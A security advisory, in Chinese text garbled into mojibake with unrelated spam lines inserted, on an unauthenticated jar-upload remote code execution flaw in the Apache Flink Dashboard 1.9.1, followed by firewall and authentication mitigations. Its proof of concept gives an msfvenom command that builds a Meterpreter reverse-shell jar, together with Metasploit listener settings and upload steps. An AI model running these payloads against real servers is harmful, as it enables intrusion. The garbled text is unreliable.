Apache Flink ËÁÒâJar°üÉÏ´«µ¼ÖÂÔ¶³Ì´úÂëÖ´Ðзì϶°²È«¹«¸æ

°ä²¼¹¦·ò 2019-11-14

·ì϶±àºÅºÍ¼¶±ð


CVE±àºÅ£ºÔÝÎÞ£¬Î£ÏÕ¼¶±ð£º¸ßΣ£¬CVSS·ÖÖµ£º¹Ù·½Î´ÆÀ¶¨


Ó°Ïì°æ±¾


ÖÁĿǰ×îа汾Apache Flink 1.9.1


·ì϶¸ÅÊö


Apache FlinkÊÇÓÉApacheÈí¼þ»ù½ð»á¿ª·¢µÄ¿ªÔ´Á÷´¦Öÿò¼Ü£¬ÆäÖ÷ÌâÊÇÓÃJavaºÍScala±àдµÄÉ¢²¼Ê½Á÷Êý¾ÝÁ÷ÒýÇæ¡£FlinkÒÔÊý¾Ý²¢ÐкÍÁ÷Ë®Ïß·½Ê½Ö´ÐÐËÁÒâÁ÷Êý¾Ý·¨Ê½£¬FlinkµÄÁ÷Ë®ÏßÔËÐÐʱϵͳÄܹ»Ö´ÐÐÅú´¦ÖúÍÁ÷´¦Ö÷¨Ê½¡£´Ë±í£¬FlinkµÄÔËÐÐʱ×ÔÉíÒ²Ö§³Öµü´úËã·¨µÄÖ´ÐС£


Apache FlinkµÄÊý¾ÝÁ÷±à³ÌÄ£ÐÍÔÚÓÐÏÞºÍÎÞÏÞÊý¾Ý¼¯ÉÏÌṩµ¥´ÎÊÂÎñ£¨event-at-a-time£©´¦Öá£ÔÚ»ù´¡²ãÃæ£¬Flink·¨Ê½ÓÉÁ÷ºÍת»»×é³É¡£


Apache FlinkµÄAPI£ºÓнç»òÎÞ½çÊý¾ÝÁ÷µÄÊý¾ÝÁ÷API¡¢ÓÃÓÚÓнçÊý¾Ý¼¯µÄÊý¾Ý¼¯API¡¢±íAPI¡£


Apache Flink Dashboard ÖпÉÉÏ´«¶ñÒâjar°ü²¢´¥·¢¶ñÒâ´úÂëÖ´ÐС£ÓÉÓÚApache Flink Dashboard ĬÈÏÎÞÐèÈÏÖ¤¼´¿É½Ó¼û£¬Òò¶ø¸Ã·ì϶¿ÉÓÃ×÷»ñÈ¡shell¡£


·ì϶ÑéÖ¤


POC£ºhttps://twitter.com/jas502n/status/1193869996717297664¡£


²âÊÔ»·¾³£ºApache Flink 1.9.1


1¡¢ÉÏ´«msfÌìÉúµÄjar°ü,ÌìÉúrce.jarÎļþ


msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar


GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾


2¡¢ÅäÖÃmsf¼àÌý


use exploit/multi/handler

set payload java/shell/reverse_tcp

set LHOST 127.0.0.1

set LPORT 8087

show options

run


GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾


ÔÚSubmit New Job´¦ÉÏ´«rec.jarÎļþ£¬µã»÷submit


GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾


³É¹¦·´µ¯shell£¬Ö´ÐÐid¿É¿´µ½Á˾Ö


GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾



½¨¸´½¨Òé


¸Ã·ì϶¹Ù·½ÉÐδ°ä²¼°²È«¸üÐÂÒÔ¼°½â¾ö²½Ö裬ÇëÊÜÓ°ÏìµÄÓû§ÊµÊ±¹Ø×¢Apache Flink¹ÙÍø£ºhttps://flink.apache.org/downloads.html¡£


»º½â´ëÊ©£º

½¨ÒéÉèÖ÷À»ðǽսÊõ£¬½öÔÊÐí°×Ãûµ¥ip½Ó¼û apache flink·þÎñ£¬²¢ÔÚWeb´úÀí£¨Èçapache httpd£©ÖÐÔö³¤¶Ô¸Ã·þÎñµÄdigestÈÏÖ¤¡£


²Î¿¼Á´½Ó


https://twitter.com/jas502n/status/1193869996717297664